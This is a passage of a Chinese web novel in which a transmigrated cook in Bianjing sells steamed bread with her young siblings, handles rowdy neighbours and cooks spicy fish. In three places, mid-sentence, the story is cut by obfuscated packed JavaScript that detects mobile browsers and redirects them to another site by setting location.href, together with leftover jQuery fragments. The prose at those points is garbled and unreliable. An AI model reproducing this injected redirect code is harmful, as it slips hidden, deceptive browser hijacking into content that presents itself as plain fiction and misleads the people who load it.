柳朝云上辈子开餐馆的时候什么样的无赖泼皮没见过,几个小孩子撒泼打滚她还不放在心上。况且那是李家的孩子,李娘子自己都不觉得丢人,又和她有什么关系?李娘子之所以三番两次的想要过来占便宜,无非是见她们家除了女人就是孩子,又是新搬来的,欺软怕硬罢了。若是这次她心软放那几个孩子进来,那以后可就没完没了了,自己家买的肉还是紧着自己家的孩子先吃吧。 阳哥儿一边吃饭一边忍不住往柳朝云脸上打量,见她面容恬静,丝毫不把吵闹声放在心上,并不觉得坐立不安,悬着的心落回了肚子里。转而又想起以前的阿姊,他心里莫名有些怅然。 正是饭点,巷子里爱看热闹的人三三两两的坐在门口,边吃饭边往柳家门口打量。 “看柳娘子生的柔柔弱弱,都闹成这样了,没想到她还挺坐得住。” “这样才好呢,她一个和离妇人,又带着幼弟幼妹,不刚强些日子如何过得?李家人也忒不要脸。” 众人正议论着,就看见李娘子的官人李洪和他家大郎从染坊做工回来吃饭歇晌,连忙扬声取笑:“李家的,快去瞧瞧吧,你家那群孩子又跑到新邻居门前讨饭去了。啧啧,人家一个小娘子当家,没得被你家人吓坏了。” “讨饭”两个字刺得李洪一张脸青青白白,他急奔几步冲上前,拽着年纪最大的大妞就甩了一巴掌:“你就是这么带弟弟妹妹的?在邻居门口闹什么?家里又不是不把饭给你们吃,跑到别人家要什么?!把我的脸都丢尽了!” 李大妞委屈地哇一声哭了出来,叫嚷道:“我不来娘在家打我,我来爹你在外面又打我!到底要我怎么办!?” 巷子内的邻居们听了纷纷嗤笑出声。 李洪觉得脸上更挂不住了,扬起手又要打。李大郎跟了上来,李大妞连忙缩着脖子躲在他身后,剩下的孩子见状也都止了哭声拍拍身上的灰跑到兄姐身后躲着。 李大郎声如蚊呐:“阿爹,弟妹不懂事,打了哭叫起来更不好看了。” 李洪这才放下了手,挨个瞪了一眼:“滚回家去!”说完勉强扯出一抹笑,对邻居们说:“孩子们不懂事,别和他们一般计较。” 他家闹这一出也不是一次两次了,回回都是李娘子躲在背后出主意,孩子们冲出来当前锋,李洪出来道歉,有看不惯的直接道:“你家婆娘一个大人总是懂事的,也该管管了。” 话还没说完,李娘子从门内冲了出来,对着那人喷了一脸唾沫:“呸!管天管地你还管到老娘头上了!” 对方抹了一把脸,更加生气:“李家的,你可别蹬鼻子上脸,别忘了柳娘子隔壁了一位官爷,听说就在汴京府衙当差,你家的孩子这样没规矩,小心惹恼了他被拿到衙门里挨板子!” 平头百姓总是对当官的天生敬畏,李娘子下意识有些心虚,但还是强装无事梗着脖子叫道:“你又不是官,胡咧咧什么!就没听说过当官的跟几个孩子计较的!” 李洪见她这样子就气不打一处来,偏偏她为自家父母守了三年孝、又生了这么多孩子,休不得,她又不肯和离,只能这么忍着将就过日子。李洪不想看她把邻居都得罪光,连忙面色不善地将人推搡进家门。 柳朝云在门内大致听了几耳朵,见闹剧结束,也就撩开不管了。 中午小睡片刻后,她在院子里挖了些土,一半与淤泥混在一起用来种菜,另一半准备搭个面包窑。 上辈子受一位短视频博主启发,柳朝云跟着也在自家小院子里试着搭过,前前后后失败了十几次才成功,所以现在再来一次也是信手拈来,很快便弄好了。 月姐儿和阳哥儿看不懂她要做什么,还以为她是心血来潮想玩泥巴,于是也跟着捏了一大两小三个泥人,玩得不亦乐乎。 搭好后,柳朝云出去买了几包菜籽,回来时进了常家铁器铺,现在家里又添了一个灶眼,她准备再买一口铁锅。 常家四口都在铁器铺里。常家夫妻生了一对姐弟,姐姐常芸看着才十二三岁,就跟着父亲后头满头大汗的帮忙打铁。弟弟十岁出头,正坐在窗户边上写字,写一个字一旁的常娘子便看一个,写的端正的就点点头,写的不好的便板着脸。柳朝云进门时他不过抬头看了一眼,就被常娘子斥责“不可分心”。 见有客人进门,常芸擦了擦脸上的汗珠放下手里的活儿走了过来,问过柳朝云后便按照需求拿了一口铁锅给她,柳朝云见大小和家里的差不多,锅体也结实,价格合适,便点头要了,顺便饶了一把舀汤用的铁勺。 拿着东西出门还未走远,柳朝云便听到常娘子呵斥常小郎的声音:“特意把你叫到铺子里读书写字就是要你专心些!不管发出什么声响都不许抬头,坐得住才能写得了好文章,你不听话就多写两篇大字。” 常芸劝了两句反遭责怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341506|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,之后便没声音了。 柳朝云一边走一边感叹,看来鸡娃这件事也不分古代还是现代啊。不过倒是提醒了她,阳哥儿虽然以前开过蒙,但认的字有限,月姐儿更是一个字都不认得,等过了冬就该送他们两个上学堂读书去。考不考得上功名无所谓,但千万不能做个睁眼瞎。 上学交给先生的束脩、三节两寿的礼品,还有书本以及笔墨纸砚,加起来都不是个小数目,不然原身的百贯嫁妆怎会被刘家克扣掉那么多。 她现在手里有原身藏起来的八贯钱,加上刘婆子给的二十五贯,这两天零零总总又花出去不少,手里约莫还剩下二十来贯,但日常吃喝、过冬炭火等这些都是必不可少的支出,柳朝云一边盘算一边加快回家的脚步——要开始挣钱了。 摆摊用的推车还没做好,暂时卖不了鸭血粉丝汤,但摊位已经租好了,总不好空着不用。 汴京人多爱吃面食,不管是早食摊上还是夜市小吃,总少不了馒头和炊饼。但馒头基本上已经被古人做出花来了,荤素各种馅料都有,所以柳朝云也不打算卖这个,她准备做新的面食——蒸面包。 面包窑完全阴干需要一段时间,暂时还没法用来烤。但柳朝云上辈子尝试过将面包用来蒸,也一样好吃,比起烤制的还要更松软一点,放上一天也不会变硬。 开垦出来的菜地并不大,菜籽很快便撒完了,月姐儿拍着胸脯要帮忙浇水,柳朝云便交给她,转身去了厨房。她准备先做出一些来晚上拿到夜市上试试水,看蒸面包是否符合汴京人胃口。 柳朝云将面粉、一点点盐和糖、水、鸡蛋液、酵母混合成团,一边少量多次的加入食用油,一边像搓衣服一样揉捏面团,等到不沾手后便不断地摔打折叠,直到能拉出薄如蝉翼的手套膜为止,这样蒸好后才会有柔软拉丝的效果。 等到在室温中发酵到1.5倍大时,将面团分成大小均匀的小剂子,用擀面杖擀成牛舌状按压排气后再卷起,松弛之后再重复一次,等二次发酵好后便上锅蒸。为了卖相更好看,柳朝云还在表面刷了一层蛋黄液,洒了点白芝麻。 柳朝云一共做了二十个,每个蒸出来都有小孩的脑袋那么大。快要出锅的时候,一股浓烈的甜香味便霸道地席卷了整条巷子,左邻右舍都忍不住耸了耸鼻子:“谁家蒸的馒头,闻起来竟这样香!” 稍微放凉了之后,柳朝云分给月姐儿和阳哥儿一个人一个,两人高兴极了,手拉着手排排坐在门槛上抱着开吃。 蒸面包的口感和炊饼、馒头完全不一样,咬上去就像咬在云朵上一样,软绵绵、甜丝丝的,带着一股蛋香,表面的芝麻更是多添了一层风味,就算是牙口不好的人在嘴里多抿一会儿也能咽下去。 不一会儿,巷子里大大小小的孩子都闻着味道凑了过来,康哥儿回去撅着小屁股从床底下拖出装着糖块的白瓷小罐。孩子们你来我往,你送颗糖,我送个果子,她送块蜜饯。月姐儿和阳哥儿也不小气,和他们交换着吃。 唯独李家的孩子,因为不受待见,中午又被父亲责打恐吓了一顿到现在还有些气短,一个个的馋得口水都掉地上了,也只敢站在一旁干看着。 8. 开张大吉 康哥儿给了两块糖,所以月姐儿分给他最大的一块。他掰了一块放进嘴里,又跑回去往祖母和母亲嘴里各塞了一块。 “哟,这就是云娘刚做出来的吧?闻着香吃着更香,这种馒头我还是第一次吃,真难为她怎么想出来的。”周嫂子满口生香,止不住地夸着。 吴婆婆也连声附和。她年纪上来了牙齿毛病也多了不少,稍硬一些的东西就吃不了,主食多是喝粥或者将炊饼泡在热水里化开后再吃。这蒸面包吃起来味道好还不费劲,正对她的胃口。 见婆母爱吃,周嫂子走到墙边喊了一声:“云娘,你这蒸面包可还有多的?多少钱一个?我买三个晚上吃。” 外面卖的馒头基本上六到十文一个,蒸面包里加了油还有糖,柳朝云定价八文一个。 从刚搬过来那天开始周嫂子就很照顾她,所以柳朝云想直接送她,奈何周嫂子用了和她一样的招数,把钱往墙头一放就跑了,叫都叫不住,柳朝云只好笑着收下。 没过一会儿,又有巷子里其他的小孩拿着家里大人给的钱过来买,月姐儿似模似样地让他们按照顺序排成一队。天刚擦黑,都不用去夜市,剩下的蒸面包就全都卖完了。没买到的人纷纷扼腕,让她明日多做些。 看着摆在桌上的一百多文铜钱,姐弟三个都笑得有点傻。 这些钱不仅是柳朝云来到这个朝代后靠自己的劳动得来的第一笔进账,更是汴京人民对她厨艺的肯定,也让她心中多了一分安全感。 所以柳朝云决定,在推车没做好之前,先卖两天蒸面包过渡一下。 隔日清晨,巷子里报晓的头陀声音一响,她便睁开了眼睛。得益于昨晚睡得早,所以就算起得早柳朝云也并不怎么困。 她昨晚提前揉好了面团盖好吊在井里低温发酵了一整夜,现在拿出来正好。她快手将面揉了拿去蒸,今早足足准备了六十个,好在昨晚她临时又去鲁大家又买了六只笼屉,现在两个灶眼各放五只,一齐开火,正正好好。 柏舟现在做的是军巡使,正八品,每日无需参加朝会,只需卯时去官署点卯便可。他习惯早起,在院中打了一遍拳后,惊讶地发现隔壁的烟囱中竟已开始冒出袅袅炊烟,伴随着一股极特别的香甜味顺着围墙爬了过来。 柏舟身量极高,不用梯子便能看到一墙之隔的厨房亮起昏黄的灯光,窗户处隐约映出一道纤瘦的身影,一边有条不紊的忙碌着一边哼着他从未听过的小调。 拴在墙边的马儿打了个响鼻,他瞬间回过神,连忙移开视线,往食槽中添了些草料和水。 柳朝云留了两个蒸面包温在锅里作为弟妹醒来后的早饭,剩余的分放在两个背篓中,背篓底部垫了两层纱布,上面又盖了两层,这样凉的不会就那么快。好在并不重,她一背一抱,可以应付的过来。 正准备就这么出门,忽然厨房门一响,月姐儿和阳哥儿不知何时已经醒了,两人穿戴整齐走到面前就要伸手接过她胸前的那个:“阿姊,我们和你一起去。” 月姐儿一边说一边噘着嘴看她,大有你不同意我就哭给你看的架势,阳哥儿的小脸上也满是不容欲绝四个大字。 柳朝云觉得自己的心像是被什么柔软的东西触了一下,鼻腔内酸酸涩涩的。 她上辈子从小便在孤儿院长大,除了愿意传授她厨艺的师傅之外没有一个亲人。师傅祖上是御厨,在建国初期受了一些苦头,所以脾气时常阴晴不定,教授十分严厉,也从来没对她说过什么温情的话。 柳朝云不向往大城市的灯红酒绿和车水马龙,毕业后便来了一座山清水秀的小县城定居,开了一家饭馆后便把他接过来养老。可惜师傅的身体不太好,师徒俩相依为命的日子并不长。可以说,在人生的绝大数时间里柳朝云都是孤身一人度过的,几乎从未体验过亲情的滋味。 但这一刻,她从两个孩子身上感觉到了。而这种感觉,她会铭记一辈子。 也是从这一刻起,她将不仅把他们当做自己的责任和义务,更是把他们看做自己血缘上最亲密的亲人。 “好,一起。”柳朝云扬起唇道。 月姐儿和阳哥儿见她同意,欢呼一声。 但背篓足有他们大半个身形高,所以柳朝云还是选择自己抱着,将三条小板凳叠在一起放在阳哥儿手上,再往月姐儿的两只手臂上各放一只竹筒,一只里面装热水,一只用来装铜钱,顺便把锅里的两只蒸面包也让她一手一个。 三个人就这么浩浩荡荡地往外走。月姐儿自己吃一口,喂阳哥儿一口,再喂阿姊一口,柳朝云时不时说两个笑话给他们听。 柏舟牵着马跟在他们身后出了门,一直保持着约五十步的距离,直到看到三人到了摊位处安顿下来才翻身上马赶去了官署。 柳朝云将背篓并排放在地上,月姐儿和阳哥儿一左一右分坐在她两边,许是骨子里自带生意人的天赋,又或者是从小便在杂货铺中耳濡目染,还没等柳朝云开口,两人便十分老练地吆喝起来。 “蒸面包哟~比云还软、比蜜还甜、老少咸宜的蒸面包哟~” “实惠又好吃,脑袋大的一个仅需八文嘞~尝到就是赚到哟~” 月姐儿和阳哥儿两人本就生得唇红齿白,虽然身形偏瘦,但这几天跟着柳朝云忙碌玩耍,又吃得好睡得香,没什么烦心事,小脸均是红扑扑的,看着十分喜人。孩子的嗓音又脆又甜,很快便吸引了早晨懒得做饭出来买朝食的人。 “哟,看着黄澄澄的,都有什么馅的?”有人感兴趣住脚问道。 柳朝云笑着回答:“我这蒸面包混了糖、油、蛋揉在面里,虽没有馅,但每一口都有滋味儿,并不比馒头差。不信客人尝尝?”说着便撕开一小块递了过去。 金黄色的面包被撕开的瞬间,湿润柔软的内部组织如绒线般交缠在一起难舍难分,刚出锅不久的热乎气儿伴着丝丝缕缕的香甜味腾地一道涌了出来。那人光是看着就忍不住咽了口口水,迫不及待地接过塞进嘴里,直到咽下去了口中还残余着香甜味。 他算了算家里的人口,比出一个手掌:“来五个!” “好嘞!”柳朝云笑逐颜开,用干净的木筷夹到油纸中包好递了过去。 还没等月姐儿和阳哥儿算明白该收多少钱,柳朝云便道:“一共四十文。” 噼里啪啦,是铜钱滚落进竹筒中互相敲击的声音,传到此时的姐弟三人耳中,简直比天籁之音还要动听,于是三人更加卖力地吆喝了起来。 第一笔生意做成了,后面就顺利许多。加上柳朝云并不小气,每个来买的人都给一小块试尝,于是很快便卖了大半。 她的生意这样好,边上卖炊饼的王四夫妻俩脸色就有些不好看。看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341507|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在柳朝云卖的并不多的份儿上,两人暂时按捺住了没有说话。 趁着没有客人,柳朝云赶紧打开竹筒让兄妹二人各喝一口润润嗓子。 “咳。” 一道高大的身影站在摊位前,绿色的官袍四周被晨光镶上一层淡金色的轮廓,腰间黑银饰的革带勾勒出一截紧窄结实的腰线。 柳朝云闻声抬起头,黑白分明的杏眸弯了弯:“哎呀,是官爷,早上好,要买一份蒸面包做朝食吗?” 月姐儿和阳哥儿也都还记得他,歪着头打量。 柏舟朝着两人温和地笑了笑,视线在柳朝云的笑靥上停了一瞬:“剩下的都给我吧。” 柳朝云惊笑:“这么多您一个人可吃不完呢,买一个好了。”她拍了拍另一个已经空了的背篓,示意他不必看在邻里关系上照顾她的生意。 柏舟眉梢轻扬:“不是我一个人吃,还有许多同僚,不好让他们饿着肚子巡街。” 原来如此,柳朝云恍然大悟地点了点头,蒸面包还有十几个,她索性将背篓也一起给他方便拿,反正他就住在隔壁,取回来也方便。 柏舟一手接过一手将钱递过去:“下值时放到你家门口。” 他走了两步又顿住了,转身对着她道:“下次不要叫我官爷了,我姓柏。” 柳朝云怔了一下,笑道:“柏郎君。” 柏舟微微一笑,回道:“柳娘子。” 柳朝云的小心脏突然扑通扑通跳了几下,没办法,任凭是谁看到一个活色生香的帅哥对着你笑,都会忍不住小鹿乱撞吧。 第一次摆摊大获成功,柳朝云揣着刚到手的铜钱招呼弟妹:“走,咱们去买菜。” 她不傻,已经注意到炊饼摊的夫妻俩对她产生了微妙的敌意,想着做买卖还是以和为贵比较好,于是路过时她低声解释:“二位放心,蒸面包我在这儿只卖几日,不会与你们抢生意的。” 夫妻俩僵着脸扯了扯嘴角,看表情说不上是信了还是没信。 待到柳朝云走远后,王四小声道:“明天咱们也把那混了糖、油、蛋的炊饼蒸出来卖,那小娘子才多大,难道我们的手艺会不如她?” 王四娘子直点头,面上颇为不屑:“大家也就是第一次在她那买个新鲜罢了。” 柏舟已在街上巡了一圈,于是便提着背篓进了军巡院,刚换班的几名厢军正凑在一起啃炊饼。炊饼是回来时从街边买的,已经凉了,噎得他们直着脖子灌了几口冷水才顺下去。也有买馒头的,可馒头凉了之后里面的油都结成了块,还不如吃炊饼呢。虽然知道天气转寒时就免不了这样,几人还是忍不住长吁短叹。 柏舟从背篓中取出三个蒸面包放到自己值房,剩下的全都拿出来分给了他们。 “嚯,柏大人这是在哪买的炊饼,凉了之后竟然还如此喧软。”几个大老粗捏在手里一阵阵惊叹。 待送到嘴里一尝,更是了不得。不仅软,还十分香甜,而且还不干,比没味道的冷炊饼好吃了不止两条街。 于是一个个都围在他身边:“大人这是在哪里买的?可贵吗?” 听说只要八文钱一个,各个都蠢蠢欲动,和馒头差不多价,他们还掏得起,有了这个,谁还愿意吃干巴巴的炊饼呢。 “大人告诉我们那店家在哪,我们把钱凑在一起多买些叫他送来。” 9. 第一笔团购订单 跟柏舟关系好的边颂恰好也刚巡完街,路过听见他们如此问,忍不住勾着柏舟的肩膀开玩笑道:“那你们可要失望了,柏兄有个不识人的毛病,怕是那卖蒸面包的老板此时从他面前走过,他都认不出来。” 几个厢军一听,登时苦了脸。 一个脑子转得快的反应过来,道:“柏大人虽然识不得人,但记路是一把好手。他早上巡过哪几条街道,赶明儿我们早上换班时派一个兄弟过去寻,定能寻到。” 边颂扬了扬眉,笑着说:“你小子,还不算笨!” 另外几个厢军见两个上司都没有反对的意思,便知这事有门儿,你捣我一下,我捣你一下,脸上带出喜意。 柏舟开口道:“不必麻烦,卖蒸面包的娘子我认得。”说完轻飘飘地看了边颂一眼。 边颂险些被他这话惊得一口水呛在喉咙里,瞪大着眼睛仔仔细细地在他脸上逡巡着:“莫不是你这几天找到什么绝世好药治好你的毛病了?亦或是找到不出世的神医了?来来来,都是兄弟,你跟我说说,我绝对不告诉别人。” 边上的几个厢军也都竖着耳朵。 柏舟揉了揉额心,对这个说话经常不着调的好友十分无语:“她就住在我家隔壁,是以每日上值时我可以顺便取来。” 众人这才恍然大悟。 边颂有些失望地撇了撇嘴,见厢军们两眼亮晶晶地盯着柏舟的脸,打了个激灵,两个胳膊上起了一层鸡皮疙瘩,一脸嫌弃地说:“瞧你们一个个出息的那样,不就是一口吃的嘛。” 他这才想起来问,“蒸面包是什么?这名字还是第一次听,起的倒是直白。” 几个厢军挠着头,他们个个都是大老粗,加起来认得字还没有一箩筐,文化水平实在有限,于是一齐将脑子机灵的张三往前推了推,让他给边颂解释。 张三吭哧了半天,用手比划出一个圆,干巴巴地解释道:“这么大,金黄金黄的,冷了也很软和,比我家新做的棉被还要软和。还香还甜,可好吃了。” 说完一脸求救地看向柏舟:“是吧,柏大人?” 边颂砸吧两下嘴也看向他,柏舟想起早上在院子里闻到的那股味道,点头“嗯”了一声。 张三大松一口气,拍着胸脯道:“柏大人虽然开口愿意帮忙,但您有公务在身,我们也不敢劳烦您。这样,我张三虽认不得几个字,但账算得清楚明白。每日就由我来统计有多少兄弟需要买蒸面包当早食的,统一收钱,每日下值将钱交给您,您看这样可行吗?” 柏舟点头:“可。” 张三家里也是做小生意的,十分懂些人情往来,又说:“不能让柏大人您替我们白效力,您每日的早食钱便由我们包了如何?” 柏舟摇头回绝:“顺手而已,不必如此。” 见张三还要再说,他板起脸:“都没事做了是吧?再聚在这里磕牙,每人扛沙袋在校场上跑五十圈。” 此话一出,众人纷纷做鸟兽散。 边颂摇头啧啧两声,跟着柏舟进了值房,见桌上摆了三个蒸面包,他不客气地伸手便拿。 “唔!还以为是那起子粗人没吃过什么好吃的,没想到味道还真不赖!这蒸面包馒头不似馒头、炊饼不似炊饼的,竟颇有巧思!” 不知怎么的,柏舟脑海里渐渐浮现清晨昏黄灯光下的那道剪影,这还是头一次他对只见过聊聊数面的人有如此深刻的印象,不禁怔了怔。 再反应过来时,边颂已经将他手中的那块吃完了,正蠢蠢欲动地准备从他手中再拿走一块。 柏舟蹙眉拍开他的手,两人你来我往地比划了几个来回,最终以边颂失败告终。 “小气!分我半块都不成?” 柏舟气定神闲地摇了摇头:“不成。还有一块是要带去给义父的,听说今日大理寺卿也在魏国公府,不如你帮我送去?” 边颂讪讪地收回手,满脸幽怨地瞅着他嘀咕:“我爹整天板着一张比地上的青砖还长还硬的黑脸,在家我已经见的够多了,我才不去。” 说完他从腰间的荷包里掏出一块银子拍在柏舟面前:“以后每日早上都给我带三个,不,七个!” 他吃三个,剩余的一个给祖母,一个给母亲,一个给哥哥,一个给嫂嫂。他们吃,黑脸老爹只有看的份儿! 另一头,柳朝云带着弟妹去菜市走了一遭,挑了些白菘、萝卜,加上家里剩余的豆角,准备做些爽口的小菜日常佐粥吃。 汴京城河系发达,故鱼类价格十分便宜,一条五斤重的草鱼只要五十文,柳朝云果断地买了一条,见摊主身旁还摆着半桶指长的小鱼,心内一动,便问他卖不卖。 摊主一边给鱼嘴系上草编的绳结,一边抽出空撩起眼皮看了一眼,这些小鱼都是顺带捞上来的,处理起来十分麻烦又没多少肉,除了想买回家给狸奴打打牙祭的,几乎无人问津,于是便道:“五文钱,你全都拿走。” “三文。”柳朝云张口便还价。 “行行行,三文就三文。”摊主本也没指望能卖几个钱,一口应下。 柳朝云又绕道去了一趟苗娘子的豆腐摊。 鸭血粉丝汤里必不可少的就是豆腐泡,外皮柔韧有嚼劲,内里软绵,细密的孔洞里吸饱了汤汁,一口咬下去又香又软又鲜。 原身在时和苗娘子关系不错,苗娘子心灵手巧,人也实在,点得豆腐都比旁人的好吃些,因此柳朝云决定找她合作供货。 苗娘子一听便应了下来,一来能多个稳定的进项当然好,二来炸豆腐她是做惯了的,不费什么事儿,如今天冷,就算柳朝云卖不出去也能多放几天,并不会亏本。 柳朝云暂定每天要两斤,每斤三十文,两人就此说定,苗娘子将摊子交给王秀才看着,挽着柳朝云的手去找了张牙侩做中人立了契约。 路上,苗娘子兴致勃勃的拉着柳朝云说话。 “云娘你是不知道,你离开那天,刘婆子足足站在她家院子里骂了一个时辰,连我家那个素来脾气好的官人都捂着耳朵直呼受不了。”苗娘子一边说一边笑,“后来呀,好几家一起去刘家拍门,你是没看见刘文清那个脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341508|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色啊,又红又青又紫,跟打翻了颜料铺似的。” “合该是一物降一物,刘文清声音一高,刘婆子立马就住了嘴。” 柳朝云在心中默默道:由此可见,刘文清从前分明是故意漠视原身,只要没侵害到他自己的利益,就任由她被刘婆子压榨欺负。 走在一旁握着自己手的阳哥儿手指一紧,柳朝云若有所觉,将他的小手往手心里裹了裹。 阿姊的手掌又暖又软,阳哥儿听到刘家时情不自禁绷紧的脊背松了下去。 苗娘子继续道:“刘文清在家呆了一天便又出去了,走的时候又问刘婆子要了钱,这不年不节的,又不需交束脩,又不用给先生送节礼,也不知他拿钱去做什么。刘婆子给得痛快,儿子一走就心疼得直抽气。” 柳朝云心内冷笑,道:“谁知道呢,兴许他们刘家的文曲星是用金子打的。” 苗娘子一听乐得不行,捏了一把她的脸:“哎哟,还是离了刘家好,看你脸上笑容多了,连玩笑也会开了,比以前那副憔悴郁郁的样子不知好了多少。人哪,就是要有一股心气儿,只要那口气不散,多大的坎都能迈过去。” 说着两人在路口分了手。 进甜水巷时,正见一位鬓边簪花、脸上带笑的货郎站在巷内,装着琳琅满目的商品的货担被一群孩子们团团围住,眼睛或看着甜丝丝的糖块,或盯着五颜六色的玩具,大人们则在一旁挑选着针头线脑等物。 柳朝云也停住了脚,买了几根颜色鲜亮的发绳。刘婆子吝啬,只出不进,连一根像样的头绳都不愿意给两个孩子买,月姐儿和阳哥儿头上的都是拿不要了的破布头改的。 红的和鹅黄的给月姐儿,靛青的和墨绿的给阳哥儿,两人收到之后均都爱不释手的拿在了手里。 月姐儿更是扭在柳朝云身上,摇着她的袖子:“阿姊帮我扎头发。” “好好好。”柳朝云坐下来,用新发绳给她扎了两个花苞头,在发绳垂落的底下还各打了个小巧的蝴蝶结。 和她一样,月姐儿的头发十分浓密,就是在刘家养的不好,营养不良有些发黄,阳哥儿也是如此。不过没关系,营养均衡后还能慢慢养回来。 月姐儿美得直冒泡,小脑袋一摇一摆的,发绳就随着她的动作在发间晃悠着,十分灵动好看。月姐儿扭着小身子在镜子前瞧了小半天,才乐颠颠地出去找小伙伴玩耍。 阳哥儿则是沉稳得多,换上新的之后虽然小脸微微发红,但还是自发跟在柳朝云身后要帮忙。 柳朝云摆了两下手将他“赶”了出去:“阿姊一个人还忙的过来,你尽管出去玩,有事我会叫你的。” 阳哥儿脚步轻快,一出门就听见月姐儿清脆的声音在叽叽喳喳的说话,康哥儿则是笑嘻嘻地一边听着一边调皮地用手指弹着她鬓边的新发绳,月姐儿一点儿都不恼。 家境不太富裕的几个孩子都十分羡慕的看着他们兄妹俩。 李家最小的孩子李五郎远远的站在最外围,含着手指呲溜一声,对两人说:“你们家今天是不是吃鱼?” 10. 水煮鱼 月姐儿一听顿时面露警惕:“你想干嘛?该不会中午又要跑到我家门口哭吧?” 李五郎还没开口,就被身后赶来的李二妞一巴掌重重拍在脑后,他哇地一声哭了起来。 李二妞的眼睛隐含嫉妒地从月姐儿头发上刮过,学着她娘的样子熟练地啐了一口:“呸!谁稀罕你家吃什么!天天大鱼大肉的,小心吃成个穷光蛋!” 月姐儿有些嫌弃地往后跳了一步:“阿姊说了,乱吐口水的人都没有公德心。” 阳哥儿一脸深以为然地点头。 康哥儿一脸懵地问:“什么叫公德心?” 月姐儿歪着头思考了片刻道:“约莫就是不讨人厌的意思吧。” 话音刚落,巷子里的小孩子都拍着手叫了起来:“李二妞,吐口水,讨人厌,一点没有、公德心!” 李二妞气得面色铁青,自己竟然被一个才七八岁小孩子给嘲弄了,伸手便要往月姐儿脸上打。 阳哥儿早有防备,一抬手把月姐儿拉到了自己身后,康哥儿见状张着嗓子就喊:“打人啦!李二妞要打人啦!大孩子打小孩子啦!” 其他孩子们也学舌跟在后面喊了起来。 一时间,家家户户都有人开了门,周嫂子更是面色不善地抄着擀面杖走了出来:“二妞在哪呢?她要打谁?” 李二妞吓得往后退了几步。 无他,这巷子里的人都知道,之前自己亲娘嘴巴不干净每日在吴家门口胡咧咧,周嫂子就是用手上这根擀面杖把娘打得狼嚎鬼叫、毫无招架之力。 “没、没,婶子,我跟他们闹着玩,开玩笑呢。”李二妞强笑道。 周嫂子似笑非笑地看了她一眼,擀面杖在手心里上下敲了几下,一言不发,但威慑力极强。 李二妞只好灰头土脸的往回跑。 一进门就被李娘子揪住,一指头戳在了脸上:“我怎么生出你这么个胆小如鼠的怂货,日日就知道白吃干饭,她骂你你不知道一口啐上去啊!” 李二妞犟着脑袋回道:“阿娘不怕,你去啊!” 被周嫂子追在身后打一直都是李娘子心上的一根刺,碰不得拔不得,一听便恼了,脱下鞋就往她身上扇:“死丫头,又顶嘴!” 李二妞顺势将跟在身后的李五郎往面前一推,李娘子一个没收住,一鞋底直接拍在了李五郎幼嫩的脸上,登时出现了一道又红又肿的鞋印,李五郎立马大声哭嚎了起来。 可李娘子和李二妞一个追一个躲,根本没一个人过来看他脸上的伤,还是李大郎中午回来看见,用凉水浸湿帕子给他敷了敷。 柳朝云在屋内听得月姐儿并没有给人欺负了去,便没有出去。 她将草鱼刮麟剖腹、撕掉黑膜后一分为二,鱼头用来炖汤,剩下的片成薄厚均匀的雪白鱼片,加入葱姜水去腥后,用清水搓洗掉鱼片表面的粘液,这样洗干净之后鱼身上的腥味就没有了。然后加入盐、酱油、鸡蛋清,一半混入少许淀粉抓匀放在一边。另一半剁成鱼蓉,一边往里加淀粉一边顺着一个方向不断搅打上劲,直到鱼蓉从松散变得黏手、起胶为止,再轻轻用手一挤,挤出一个丸子的形状放入锅中煮熟后捞起。 鱼骨柳朝云也没有扔,和鱼头一起倒入锅中用油煎,等到煎至两面金黄时,倒入滚开的开水一冲,汤色瞬间变得浓白,等到快出锅时,再往里加豆腐和切碎的白菘丝,洒一勺盐。 另一边,将葱段、大蒜、姜片、剪开的草果、香叶、花椒等香料放入锅中油炸,等炸的黄而不焦时捞出,以后卤肉炖肉的时候还可以再用。往锅中的油里加入一勺豆酱炒透,再加入酱油爆出香味,加水煮开,撒盐调味,因为没有辣椒,柳朝云便用茱萸代替增加了辣味,然后把鱼片放入用锅铲轻轻推开。几片白菘略用开水烫过垫在碗底,倒入煮熟的鱼片和汤底,在表面撒上一层鲜花椒,然后将事先留好的料油加热泼在上面。 伴随着油滋啦啦的响声,一股浓香瞬间蔓延了开来,巷子里的人都耸着鼻子咽口水,开饭早的人家更是借着这一股香味下饭。 李家的小五郎看着自家餐桌上一盘淡而无味的老菜叶,一碟黑乎乎的小咸菜,欲哭无泪地悄悄扁了扁嘴,低头扒着搀了豆子的米饭,羡慕柳家伙食的眼泪不争气的从嘴角流了出来。 柳朝云将青菜倒入锅中翻炒几下,探身喊了一句:“月姐儿,阳哥儿,回来吃饭啦!” “来啦!!” 